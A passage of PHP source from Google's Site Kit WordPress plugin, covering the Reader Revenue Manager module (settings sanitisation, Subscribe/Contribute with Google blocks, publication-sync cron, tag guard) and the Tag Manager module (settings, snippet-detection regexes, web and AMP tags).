2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Reader_Revenue_Manager; use Google\Site_Kit\Core\Modules\Module_Settings; use Google\Site_Kit\Core\Storage\Setting_With_Owned_Keys_Interface; use Google\Site_Kit\Core\Storage\Setting_With_Owned_Keys_Trait; use Google\Site_Kit\Core\Storage\Setting_With_ViewOnly_Keys_Interface; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; /** * Class for RRM settings. * * @since 1.132.0 * @access private * @ignore */ class Settings extends Module_Settings implements Setting_With_Owned_Keys_Interface, Setting_With_ViewOnly_Keys_Interface { use Setting_With_Owned_Keys_Trait; use Method_Proxy_Trait; const OPTION = 'googlesitekit_reader-revenue-manager_settings'; /** * Various Reader Revenue Manager onboarding statuses. */ const ONBOARDING_STATE_UNSPECIFIED = 'ONBOARDING_STATE_UNSPECIFIED'; const ONBOARDING_STATE_ACTION_REQUIRED = 'ONBOARDING_ACTION_REQUIRED'; const ONBOARDING_STATE_PENDING_VERIFICATION = 'PENDING_VERIFICATION'; const ONBOARDING_STATE_COMPLETE = 'ONBOARDING_COMPLETE'; /** * Registers the setting in WordPress. * * @since 1.132.0 */ public function register() { parent::register(); $this->register_owned_keys(); } /** * Returns keys for owned settings. * * @since 1.132.0 * * @return array An array of keys for owned settings. */ public function get_owned_keys() { return array( 'publicationID' ); } /** * Gets the default value. * * @since 1.132.0 * * @return array */ protected function get_default() { $defaults = array( 'ownerID' => 0, 'publicationID' => '', 'publicationOnboardingState' => '', 'publicationOnboardingStateChanged' => false, 'productIDs' => array(), 'paymentOption' => '', 'snippetMode' => 'post_types', 'postTypes' => array( 'post' ), 'productID' => 'openaccess', ); return $defaults; } /** * Returns keys for view-only settings. * * @since 1.132.0 * * @return array An array of keys for view-only settings. */ public function get_view_only_keys() { $keys = array( 'publicationID', 'snippetMode', 'postTypes', 'paymentOption', ); return $keys; } /** * Gets the callback for sanitizing the setting's value before saving. * * @since 1.132.0 * * @return callable|null */ protected function get_sanitize_callback() { return function ( $option ) { if ( isset( $option['publicationID'] ) ) { if ( ! preg_match( '/^[a-zA-Z0-9_-]+$/', $option['publicationID'] ) ) { $option['publicationID'] = ''; } } if ( isset( $option['publicationOnboardingStateChanged'] ) ) { if ( ! is_bool( $option['publicationOnboardingStateChanged'] ) ) { $option['publicationOnboardingStateChanged'] = false; } } if ( isset( $option['publicationOnboardingState'] ) ) { $valid_onboarding_states = array( self::ONBOARDING_STATE_UNSPECIFIED, self::ONBOARDING_STATE_ACTION_REQUIRED, self::ONBOARDING_STATE_PENDING_VERIFICATION, self::ONBOARDING_STATE_COMPLETE, ); if ( ! in_array( $option['publicationOnboardingState'], $valid_onboarding_states, true ) ) { $option['publicationOnboardingState'] = ''; } } if ( isset( $option['productIDs'] ) ) { if ( ! is_array( $option['productIDs'] ) ) { $option['productIDs'] = array(); } else { $option['productIDs'] = array_values( array_filter( $option['productIDs'], 'is_string' ) ); } } if ( isset( $option['paymentOption'] ) ) { if ( ! is_string( $option['paymentOption'] ) ) { $option['paymentOption'] = ''; } } if ( isset( $option['snippetMode'] ) ) { $valid_snippet_modes = array( 'post_types', 'per_post', 'sitewide' ); if ( ! in_array( $option['snippetMode'], $valid_snippet_modes, true ) ) { $option['snippetMode'] = 'post_types'; } } if ( isset( $option['postTypes'] ) ) { if ( ! is_array( $option['postTypes'] ) ) { $option['postTypes'] = array( 'post' ); } else { $filtered_post_types = array_values( array_filter( $option['postTypes'], 'is_string' ) ); $option['postTypes'] = ! empty( $filtered_post_types ) ? $filtered_post_types : array( 'post' ); } } if ( isset( $option['productID'] ) ) { if ( ! is_string( $option['productID'] ) ) { $option['productID'] = 'openaccess'; } } return $option; }; } } <?php /** * Class Google\Site_Kit\Modules\Reader_Revenue_Manager\Web_Tag * * @package Google\Site_Kit\Modules\Reader_Revenue_Manager * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Reader_Revenue_Manager; use Google\Site_Kit\Core\Modules\Tags\Module_Web_Tag; use Google\Site_Kit\Core\Tags\Tag_With_DNS_Prefetch_Trait; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; /** * Class for Web tag. * * @since 1.132.0 * @access private * @ignore */ class Web_Tag extends Module_Web_Tag { use Method_Proxy_Trait; use Tag_With_DNS_Prefetch_Trait; /** * Product ID. * * @since 1.148.0 * * @var string */ private $product_id; /** * Sets the product ID. * * @since 1.148.0 * * @param string $product_id Product ID. */ public function set_product_id( $product_id ) { $this->product_id = $product_id; } /** * Registers tag hooks. * * @since 1.132.0 */ public function register() { add_action( 'wp_enqueue_scripts', $this->get_method_proxy( 'enqueue_swg_script' ) ); add_filter( 'script_loader_tag', $this->get_method_proxy( 'add_snippet_comments' ), 10, 2 ); add_filter( 'wp_resource_hints', $this->get_dns_prefetch_hints_callback( '//news.google.com' ), 10, 2 ); $this->do_init_tag_action(); } /** * Enqueues the Reader Revenue Manager (SWG) script. * * @since 1.132.0 * @since 1.140.0 Updated to enqueue the script only on singular posts. */ protected function enqueue_swg_script() { $locale = str_replace( '_', '-', get_locale() ); /** * Filters the Reader Revenue Manager product ID. * * @since 1.148.0 * * @param string $product_id The array of post types. */ $product_id = apply_filters( 'googlesitekit_reader_revenue_manager_product_id', $this->product_id ); $subscription = array( 'type' => 'NewsArticle', 'isPartOfType' => array( 'Product' ), 'isPartOfProductId' => $this->tag_id . ':' . $product_id, 'clientOptions' => array( 'theme' => 'light', 'lang' => $locale, ), ); $json_encoded_subscription = wp_json_encode( $subscription ); if ( ! $json_encoded_subscription ) { $json_encoded_subscription = 'null'; } $swg_inline_script = sprintf( '(self.SWG_BASIC=self.SWG_BASIC||[]).push(basicSubscriptions=>{basicSubscriptions.init(%s);});', $json_encoded_subscription ); // phpcs:ignore WordPress.WP.EnqueuedResourceParameters.MissingVersion wp_register_script( 'google_swgjs', 'https://news.google.com/swg/js/v1/swg-basic.js', array(), null, true ); wp_script_add_data( 'google_swgjs', 'strategy', 'async' ); wp_add_inline_script( 'google_swgjs', $swg_inline_script, 'before' ); wp_enqueue_script( 'google_swgjs' ); } /** * Add snippet comments around the tag. * * @since 1.132.0 * * @param string $tag The tag. * @param string $handle The script handle. * * @return string The tag with snippet comments. */ protected function add_snippet_comments( $tag, $handle ) { if ( 'google_swgjs' !== $handle ) { return $tag; } $before = sprintf( "\n<!-- %s -->\n", esc_html__( 'Google Reader Revenue Manager snippet added by Site Kit', 'google-site-kit' ) ); $after = sprintf( "\n<!-- %s -->\n", esc_html__( 'End Google Reader Revenue Manager snippet added by Site Kit', 'google-site-kit' ) ); return $before . $tag . $after; } /** * Outputs snippet. * * @since 1.132.0 */ protected function render() { // Do nothing, script is enqueued. } } <?php /** * Class Google\Site_Kit\Modules\Reader_Revenue_Manager\Synchronize_Publication * * @package Google\Site_Kit\Modules\Reader_Revenue_Manager * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Reader_Revenue_Manager; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Core\Util\Feature_Flags; use Google\Site_Kit\Modules\Reader_Revenue_Manager; use Google\Site_Kit_Dependencies\Google\Service\SubscribewithGoogle\Publication; use Google\Site_Kit_Dependencies\Google\Service\SubscribewithGoogle\PaymentOptions; /** * Class for synchronizing the onboarding state. * * @since 1.146.0 * @access private * @ignore */ class Synchronize_Publication { /** * Cron event name for synchronizing the publication info. */ const CRON_SYNCHRONIZE_PUBLICATION = 'googlesitekit_cron_synchronize_publication'; /** * Reader_Revenue_Manager instance. * * @var Reader_Revenue_Manager */ protected $reader_revenue_manager; /** * User_Options instance. * * @var User_Options */ protected $user_options; /** * Constructor. * * @since 1.146.0 * * @param Reader_Revenue_Manager $reader_revenue_manager Reader Revenue Manager instance. * @param User_Options $user_options User_Options instance. */ public function __construct( Reader_Revenue_Manager $reader_revenue_manager, User_Options $user_options ) { $this->reader_revenue_manager = $reader_revenue_manager; $this->user_options = $user_options; } /** * Registers functionality through WordPress hooks. * * @since 1.146.0 * * @return void */ public function register() { add_action( self::CRON_SYNCHRONIZE_PUBLICATION, function () { $this->synchronize_publication_data(); } ); } /** * Cron callback for synchronizing the publication. * * @since 1.146.0 * * @return void */ protected function synchronize_publication_data() { $owner_id = $this->reader_revenue_manager->get_owner_id(); $restore_user = $this->user_options->switch_user( $owner_id ); if ( user_can( $owner_id, Permissions::VIEW_AUTHENTICATED_DASHBOARD ) ) { $connected = $this->reader_revenue_manager->is_connected(); // If not connected, return early. if ( ! $connected ) { return; } $publications = $this->reader_revenue_manager->get_data( 'publications' ); // If publications is empty, return early. if ( empty( $publications ) ) { return; } $settings = $this->reader_revenue_manager->get_settings()->get(); $publication_id = $settings['publicationID']; $filtered_publications = array_filter( $publications, function ( $pub ) use ( $publication_id ) { return $pub->getPublicationId() === $publication_id; } ); // If there are no filtered publications, return early. if ( empty( $filtered_publications ) ) { return; } // Re-index the filtered array to ensure sequential keys. $filtered_publications = array_values( $filtered_publications ); $publication = $filtered_publications[0]; $onboarding_state = $settings['publicationOnboardingState']; $new_onboarding_state = $publication->getOnboardingState(); $new_settings = array( 'publicationOnboardingState' => $new_onboarding_state, 'productIDs' => $this->get_product_ids( $publication ), 'paymentOption' => $this->get_payment_option( $publication ), ); // Let the client know if the onboarding state has changed. if ( $new_onboarding_state !== $onboarding_state ) { $new_settings['publicationOnboardingStateChanged'] = true; } $this->reader_revenue_manager->get_settings()->merge( $new_settings ); } $restore_user(); } /** * Returns the products IDs for the given publication. * * @since 1.146.0 * * @param Publication $publication Publication object. * @return array Product IDs. */ protected function get_product_ids( Publication $publication ) { $products = $publication->getProducts(); $product_ids = array(); if ( ! empty( $products ) ) { foreach ( $products as $product ) { $product_ids[] = $product->getName(); } } return $product_ids; } /** * Returns the payment option for the given publication. * * @since 1.146.0 * * @param Publication $publication Publication object. * @return string Payment option. */ protected function get_payment_option( Publication $publication ) { $payment_options = $publication->getPaymentOptions(); $payment_option = ''; if ( $payment_options instanceof PaymentOptions ) { foreach ( $payment_options as $option => $value ) { if ( true === $value ) { $payment_option = $option; break; } } } return $payment_option; } /** * Maybe schedule the synchronize onboarding state cron event. * * @since 1.146.0 * * @return void */ public function maybe_schedule_synchronize_publication() { $connected = $this->reader_revenue_manager->is_connected(); $cron_already_scheduled = wp_next_scheduled( self::CRON_SYNCHRONIZE_PUBLICATION ); if ( $connected && ! $cron_already_scheduled ) { wp_schedule_single_event( time() + HOUR_IN_SECONDS, self::CRON_SYNCHRONIZE_PUBLICATION ); } } } <?php /** * Class Google\Site_Kit\Modules\Reader_Revenue_Manager\Contribute_With_Google_Block * * @package Google\Site_Kit\Modules\Reader_Revenue_Manager * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Reader_Revenue_Manager; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Modules\Module_Settings; use Google\Site_Kit\Modules\Reader_Revenue_Manager\Tag_Guard; use Google\Site_Kit\Core\Util\Block_Support; /** * Contribute with Google Gutenberg block. * * @since 1.148.0 * @access private * @ignore */ class Contribute_With_Google_Block { /** * Context instance. * * @since 1.148.0 * * @var Context */ protected $context; /** * Tag_Guard instance. * * @since 1.148.0 * * @var Tag_Guard */ private $tag_guard; /** * Settings instance. * * @since 1.148.0 * * @var Module_Settings */ private $settings; /** * Constructor. * * @since 1.148.0 * * @param Context $context Plugin context. * @param Tag_Guard $tag_guard Tag_Guard instance. * @param Module_Settings $settings Module_Settings instance. */ public function __construct( Context $context, Tag_Guard $tag_guard, Module_Settings $settings ) { $this->context = $context; $this->tag_guard = $tag_guard; $this->settings = $settings; } /** * Register this block. * * @since 1.148.0 */ public function register() { add_action( 'init', function () { $base_path = dirname( GOOGLESITEKIT_PLUGIN_MAIN_FILE ) . '/dist/assets/blocks/reader-revenue-manager/contribute-with-google'; $block_json = $base_path . '/block.json'; if ( Block_Support::has_block_api_version_3_support() ) { $v3_block_json = $base_path . '/v3/block.json'; if ( file_exists( $v3_block_json ) ) { $block_json = $v3_block_json; } } register_block_type( $block_json, array( 'render_callback' => array( $this, 'render_callback' ), ) ); }, 99 ); } /** * Render callback for the block. * * @since 1.148.0 * * @return string Rendered block. */ public function render_callback() { // If the payment option is not `contributions` or the tag is not placed, do not render the block. $settings = $this->settings->get(); $is_contributions_payment_option = isset( $settings['paymentOption'] ) && 'contributions' === $settings['paymentOption']; if ( ! ( $is_contributions_payment_option && $this->tag_guard->can_activate() ) ) { return ''; } // Ensure the button is centered to match the editor preview. // TODO: Add a stylesheet to the page and style the button container using a class. return '<div style="margin: 0 auto;"><button swg-standard-button="contribution"></button></div>'; } } <?php /** * Class Google\Site_Kit\Modules\Reader_Revenue_Manager\Subscribe_With_Google_Block * * @package Google\Site_Kit\Modules\Reader_Revenue_Manager * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Reader_Revenue_Manager; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Modules\Module_Settings; use Google\Site_Kit\Modules\Reader_Revenue_Manager\Tag_Guard; use Google\Site_Kit\Core\Util\Block_Support; /** * Subscribe with Google Gutenberg block. * * @since 1.148.0 * @access private * @ignore */ class Subscribe_With_Google_Block { /** * Context instance. * * @since 1.148.0 * * @var Context */ protected $context; /** * Tag_Guard instance. * * @since 1.148.0 * * @var Tag_Guard */ private $tag_guard; /** * Settings instance. * * @since 1.148.0 * * @var Module_Settings */ private $settings; /** * Constructor. * * @since 1.148.0 * * @param Context $context Plugin context. * @param Tag_Guard $tag_guard Tag_Guard instance. * @param Module_Settings $settings Module_Settings instance. */ public function __construct( Context $context, Tag_Guard $tag_guard, Module_Settings $settings ) { $this->context = $context; $this->tag_guard = $tag_guard; $this->settings = $settings; } /** * Register this block. * * @since 1.148.0 */ public function register() { add_action( 'init', function () { $base_path = dirname( GOOGLESITEKIT_PLUGIN_MAIN_FILE ) . '/dist/assets/blocks/reader-revenue-manager/subscribe-with-google'; $block_json = $base_path . '/block.json'; if ( Block_Support::has_block_api_version_3_support() ) { $v3_block_json = $base_path . '/v3/block.json'; if ( file_exists( $v3_block_json ) ) { $block_json = $v3_block_json; } } register_block_type( $block_json, array( 'render_callback' => array( $this, 'render_callback' ), ) ); }, 99 ); } /** * Render callback for the block. * * @since 1.148.0 * * @return string Rendered block. */ public function render_callback() { // If the payment option is not `subscriptions` or the tag is not placed, do not render the block. $settings = $this->settings->get(); $is_subscriptions_payment_option = isset( $settings['paymentOption'] ) && 'subscriptions' === $settings['paymentOption']; if ( ! ( $is_subscriptions_payment_option && $this->tag_guard->can_activate() ) ) { return ''; } // Ensure the button is centered to match the editor preview. // TODO: Add a stylesheet to the page and style the button container using a class. return '<div style="margin: 0 auto;"><button swg-standard-button="subscription"></button></div>'; } } <?php /** * Class Google\Site_Kit\Modules\Reader_Revenue_Manager\Post_Product_ID * * @package Google\Site_Kit\Modules\Reader_Revenue_Manager * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Reader_Revenue_Manager; use Google\Site_Kit\Core\Storage\Meta_Setting_Trait; use Google\Site_Kit\Core\Storage\Post_Meta; use Google\Site_Kit\Modules\Reader_Revenue_Manager\Settings; /** * Class for associating product ID to post meta. * * @since 1.145.0 * @access private * @ignore */ class Post_Product_ID { use Meta_Setting_Trait; /** * Settings instance. * * @since 1.148.0 * * @var Settings */ private $settings; /** * Post_Product_ID constructor. * * @since 1.145.0 * * @param Post_Meta $post_meta Post_Meta instance. * @param Settings $settings Reader Revenue Manager module settings instance. */ public function __construct( Post_Meta $post_meta, Settings $settings ) { $this->meta = $post_meta; $this->settings = $settings; } /** * Gets the meta key for the setting. * * @since 1.145.0 * * @return string Meta key. */ protected function get_meta_key(): string { $publication_id = $this->settings->get()['publicationID']; return 'googlesitekit_rrm_' . $publication_id . ':productID'; } /** * Returns the object type. * * @since 1.146.0 * * @return string Object type. */ protected function get_object_type(): string { return 'post'; } /** * Gets the `show_in_rest` value for this postmeta setting value. * * @since 1.145.0 * * @return bool|Array Any valid value for the `show_in_rest` */ protected function get_show_in_rest() { return true; } } <?php /** * Class Google\Site_Kit\Modules\Reader_Revenue_Manager\Tag_Guard * * @package Google\Site_Kit\Modules\Reader_Revenue_Manager * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Reader_Revenue_Manager; use Google\Site_Kit\Core\Modules\Module_Settings; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Guard; use Google\Site_Kit\Modules\Reader_Revenue_Manager\Post_Product_ID; /** * Class for the Reader Revenue Manager tag guard. * * @since 1.132.0 * @access private * @ignore */ class Tag_Guard extends Module_Tag_Guard { /** * Post_Product_ID instance. * * @since 1.148.0 * * @var Post_Product_ID */ private $post_product_id; /** * Constructor. * * @since 1.148.0 * * @param Module_Settings $settings Module settings instance. * @param Post_Product_ID $post_product_id Post_Product_ID instance. */ public function __construct( Module_Settings $settings, $post_product_id ) { parent::__construct( $settings ); $this->post_product_id = $post_product_id; } /** * Determines whether the guarded tag can be activated or not. * * @since 1.132.0 * * @return bool|WP_Error TRUE if guarded tag can be activated, otherwise FALSE or an error. */ public function can_activate() { $settings = $this->settings->get(); if ( empty( $settings['publicationID'] ) ) { return false; } if ( is_singular() ) { return $this->can_activate_for_singular_post(); } return 'sitewide' === $settings['snippetMode']; } /** * Determines whether the guarded tag can be activated for a singular post or not. * * @since 1.148.0 * * @return bool TRUE if guarded tag can be activated for a singular post, otherwise FALSE. */ private function can_activate_for_singular_post() { $post_product_id = $this->post_product_id->get( get_the_ID() ); if ( 'none' === $post_product_id ) { return false; } if ( ! empty( $post_product_id ) ) { return true; } $settings = $this->settings->get(); // If the snippet mode is `per_post` and there is no post product ID, // we don't want to render the tag. if ( 'per_post' === $settings['snippetMode'] ) { return false; } // If the snippet mode is `post_types`, we only want to render the tag // if the current post type is in the list of allowed post types. if ( 'post_types' === $settings['snippetMode'] ) { /** * Filters the post types where Reader Revenue Manager CTAs should appear. * * @since 1.140.0 * * @param array $cta_post_types The array of post types. */ $cta_post_types = apply_filters( 'googlesitekit_reader_revenue_manager_cta_post_types', $settings['postTypes'] ); return in_array( get_post_type(), $cta_post_types, true ); } // Snippet mode is `sitewide` at this point, so we want to render the tag. return true; } } <?php /** * Class Google\Site_Kit\Core\Modules\Tag_Manager\Tag_Matchers * * @package Google\Site_Kit\Core\Modules\Tag_Manager * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules\Tag_Manager; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Matchers; use Google\Site_Kit\Core\Tags\Tag_Matchers_Interface; /** * Class for Tag matchers. * * @since 1.119.0 * @access private * @ignore */ class Tag_Matchers extends Module_Tag_Matchers implements Tag_Matchers_Interface { /** * Holds array of regex tag matchers. * * @since 1.119.0 * * @return array Array of regex matchers. */ public function regex_matchers() { return array( // Detect injection script (Google provided code, duracelltomi-google-tag-manager, metronet-tag-manager (uses user-provided)). "/<script[^>]*>[^>]+?www.googletagmanager.com\/gtm[^>]+?['|\"](GTM-[0-9A-Z]+)['|\"]/", // Detect gtm.js script calls. "/<script[^>]*src=['|\"]https:\/\/www.googletagmanager.com\/gtm.js\?id=(GTM-[0-9A-Z]+)['|\"]/", // Detect iframe version for no-js. "/<script[^>]*src=['|\"]https:\/\/www.googletagmanager.com\/ns.html\?id=(GTM-[0-9A-Z]+)['|\"]/", // Detect amp tag. "/<amp-analytics [^>]*config=['|\"]https:\/\/www.googletagmanager.com\/amp.json\?id=(GTM-[0-9A-Z]+)['|\"]/", // Detect GTag usage. "/gtag\\s*\\(\\s*['\"]config['\"]\\s*,\\s*['\"](GTM-[a-zA-Z0-9]+)['\"]\\s*\\)/i", ); } } <?php /** * Class Google\Site_Kit\Modules\Tag_Manager\Settings * * @package Google\Site_Kit\Modules\Tag_Manager * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Tag_Manager; use Google\Site_Kit\Core\Modules\Module_Settings; use Google\Site_Kit\Core\Storage\Setting_With_Legacy_Keys_Trait; use Google\Site_Kit\Core\Storage\Setting_With_Owned_Keys_Interface; use Google\Site_Kit\Core\Storage\Setting_With_Owned_Keys_Trait; /** * Class for Tag Manager settings. * * @since 1.2.0 * @access private * @ignore */ class Settings extends Module_Settings implements Setting_With_Owned_Keys_Interface { use Setting_With_Legacy_Keys_Trait; use Setting_With_Owned_Keys_Trait; const OPTION = 'googlesitekit_tagmanager_settings'; /** * Registers the setting in WordPress. * * @since 1.2.0 */ public function register() { parent::register(); $this->register_legacy_keys_migration( array( 'account_id' => 'accountID', 'accountId' => 'accountID', 'container_id' => 'containerID', 'containerId' => 'containerID', ) ); $this->register_owned_keys(); } /** * Returns keys for owned settings. * * @since 1.16.0 * * @return array An array of keys for owned settings. */ public function get_owned_keys() { return array( 'accountID', 'ampContainerID', 'containerID', 'internalAMPContainerID', 'internalContainerID', ); } /** * Gets the default value. * * @since 1.2.0 * * @return array */ protected function get_default() { return array( 'ownerID' => 0, 'accountID' => '', 'ampContainerID' => '', 'containerID' => '', 'internalContainerID' => '', 'internalAMPContainerID' => '', 'useSnippet' => true, ); } /** * Gets the callback for sanitizing the setting's value before saving. * * @since 1.6.0 * * @return callable|null */ protected function get_sanitize_callback() { return function ( $option ) { if ( is_array( $option ) ) { if ( isset( $option['useSnippet'] ) ) { $option['useSnippet'] = (bool) $option['useSnippet']; } } return $option; }; } } <?php /** * Class Google\Site_Kit\Modules\Tag_Manager\Web_Tag * * @package Google\Site_Kit\Modules\Tag_Manager * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Tag_Manager; use Google\Site_Kit\Core\Modules\Tags\Module_Web_Tag; use Google\Site_Kit\Core\Tags\GTag; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; use Google\Site_Kit\Core\Tags\Tag_With_DNS_Prefetch_Trait; use Google\Site_Kit\Core\Util\BC_Functions; /** * Class for Web tag. * * @since 1.24.0 * @access private * @ignore */ class Web_Tag extends Module_Web_Tag implements Tag_Interface { use Method_Proxy_Trait; use Tag_With_DNS_Prefetch_Trait; /** * Google tag gateway active state. * * @since 1.162.0 * @var bool */ private $is_google_tag_gateway_active; /** * Registers tag hooks. * * @since 1.24.0 * @since 1.162.0 Updated to handle GTag snippet insertion when Google tag gateway is active. */ public function register() { if ( $this->is_google_tag_gateway_active ) { add_action( 'googlesitekit_setup_gtag', $this->get_method_proxy( 'setup_gtag' ), 30 ); add_filter( 'script_loader_tag', $this->get_method_proxy( 'filter_tag_output' ), 10, 2 ); } else { $render_no_js = $this->get_method_proxy_once( 'render_no_js' ); add_action( 'wp_head', $this->get_method_proxy( 'render' ) ); // For non-AMP (if `wp_body_open` supported). add_action( 'wp_body_open', $render_no_js, -9999 ); // For non-AMP (as fallback). add_action( 'wp_footer', $render_no_js ); add_filter( 'wp_resource_hints', $this->get_dns_prefetch_hints_callback( '//www.googletagmanager.com' ), 10, 2 ); } $this->do_init_tag_action(); } /** * Outputs Tag Manager script. * * @since 1.24.0 * @since 1.162.0 Updated to skip rendering if Google tag gateway is active. */ protected function render() { if ( $this->is_google_tag_gateway_active ) { return; } $tag_manager_inline_script = sprintf( " ( function( w, d, s, l, i ) { w[l] = w[l] || []; w[l].push( {'gtm.start': new Date().getTime(), event: 'gtm.js'} ); var f = d.getElementsByTagName( s )[0], j = d.createElement( s ), dl = l != 'dataLayer' ? '&l=' + l : ''; j.async = true; j.src = 'https://www.googletagmanager.com/gtm.js?id=' + i + dl; f.parentNode.insertBefore( j, f ); } )( window, document, 'script', 'dataLayer', '%s' ); ", esc_js( $this->tag_id ) ); $tag_manager_consent_attribute = $this->get_tag_blocked_on_consent_attribute_array(); printf( "\n<!-- %s -->\n", esc_html__( 'Google Tag Manager snippet added by Site Kit', 'google-site-kit' ) ); BC_Functions::wp_print_inline_script_tag( $tag_manager_inline_script, $tag_manager_consent_attribute ); printf( "\n<!-- %s -->\n", esc_html__( 'End Google Tag Manager snippet added by Site Kit', 'google-site-kit' ) ); } /** * Outputs Tag Manager iframe for when the browser has JavaScript disabled. * * @since 1.24.0 * @since 1.162.0 Updated to skip rendering if Google tag gateway is active. */ private function render_no_js() { if ( $this->is_google_tag_gateway_active ) { return; } // Consent-based blocking requires JS to be enabled so we need to bail here if present. if ( $this->get_tag_blocked_on_consent_attribute() ) { return; } $iframe_src = 'https://www.googletagmanager.com/ns.html?id=' . rawurlencode( $this->tag_id ); ?> <!-- <?php esc_html_e( 'Google Tag Manager (noscript) snippet added by Site Kit', 'google-site-kit' ); ?> --> <noscript> <iframe src="<?php echo esc_url( $iframe_src ); ?>" height="0" width="0" style="display:none;visibility:hidden"></iframe> </noscript> <!-- <?php esc_html_e( 'End Google Tag Manager (noscript) snippet added by Site Kit', 'google-site-kit' ); ?> --> <?php } /** * Sets Google tag gateway active state. * * @since 1.162.0 * * @param bool $active Google tag gateway active state. */ public function set_is_google_tag_gateway_active( $active ) { $this->is_google_tag_gateway_active = $active; } /** * Configures gtag script. * * @since 1.162.0 * * @param GTag $gtag GTag instance. */ protected function setup_gtag( $gtag ) { $gtag->add_tag( $this->tag_id ); } /** * Filters output of tag HTML. * * @since 1.162.0 * * @param string $tag Tag HTML. * @param string $handle WP script handle of given tag. * @return string */ protected function filter_tag_output( $tag, $handle ) { // The tag will either have its own handle or use the common GTag handle, not both. if ( GTag::get_handle_for_tag( $this->tag_id ) !== $handle && GTag::HANDLE !== $handle ) { return $tag; } // Retain this comment for detection of Site Kit placed tag. $snippet_comment = sprintf( "<!-- %s -->\n", esc_html__( 'Google Tag Manager snippet added by Site Kit', 'google-site-kit' ) ); return $snippet_comment . $tag; } } <?php /** * Class Google\Site_Kit\Modules\Tag_Manager\Tag_Interface * * @package Google\Site_Kit\Modules\Tag_Manager * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Tag_Manager; /** * Interface for a Tag Manager tag. * * @since 1.162.0 * @access private * @ignore */ interface Tag_Interface { /** * Sets Google tag gateway active state. * * @since 1.162.0 * * @param bool $active Google tag gateway active state. */ public function set_is_google_tag_gateway_active( $active ); } <?php /** * Class Google\Site_Kit\Modules\Tag_Manager\Tag_Guard * * @package Google\Site_Kit\Modules\Tag_Manager * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Tag_Manager; use Google\Site_Kit\Core\Modules\Module_Settings; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Guard; /** * Class for the Tag Manager tag guard. * * @since 1.24.0 * @access private * @ignore */ class Tag_Guard extends Module_Tag_Guard { /** * Determines AMP mode. * * @since 1.24.0 * @var bool */ protected $is_amp; /** * Constructor. * * @since 1.24.0 * * @param Module_Settings $settings Module settings. * @param bool $is_amp AMP mode. */ public function __construct( Module_Settings $settings, $is_amp ) { parent::__construct( $settings ); $this->is_amp = $is_amp; } /** * Determines whether the guarded tag can be activated or not. * * @since 1.24.0 * * @return bool|WP_Error TRUE if guarded tag can be activated, otherwise FALSE or an error. */ public function can_activate() { $settings = $this->settings->get(); $container_id = $this->is_amp ? $settings['ampContainerID'] : $settings['containerID']; return ! empty( $settings['useSnippet'] ) && ! empty( $container_id ); } } <?php /** * Class Google\Site_Kit\Modules\Tag_Manager\AMP_Tag * * @package Google\Site_Kit\Modules\Tag_Manager * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Tag_Manager; use Google\Site_Kit\Core\Modules\Tags\Module_AMP_Tag; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; /** * Class for AMP tag. * * @since 1.24.0 * @access private * @ignore */ class AMP_Tag extends Module_AMP_Tag { use Method_Proxy_Trait; /** * Registers tag hooks. * * @since 1.24.0 */ public function register() { $render = $this->get_method_proxy_once( 'render' ); // Which actions are run depends on the version of the AMP Plugin // (https://amp-wp.org/) available. Version >=1.3 exposes a // new, `amp_print_analytics` action. // For all AMP modes, AMP plugin version >=1.3. add_action( 'amp_print_analytics', $render ); // For AMP Standard and Transitional, AMP plugin version <1.3. add_action( 'wp_footer', $render, 20 ); // For AMP Reader, AMP plugin version <1.3. add_action( 'amp_post_template_footer', $render, 20 ); // For Web Stories plugin. add_action( 'web_stories_print_analytics', $render ); // Load amp-analytics component for AMP Reader. $this->enqueue_amp_reader_component_script( 'amp-analytics', 'https://cdn.ampproject.org/v0/amp-analytics-0.1.js' ); $this->do_init_tag_action(); } /** * Outputs Tag Manager <amp-analytics> tag. * * @since 1.24.0 */ protected function render() { // Add the optoutElementId for compatibility with our Analytics opt-out 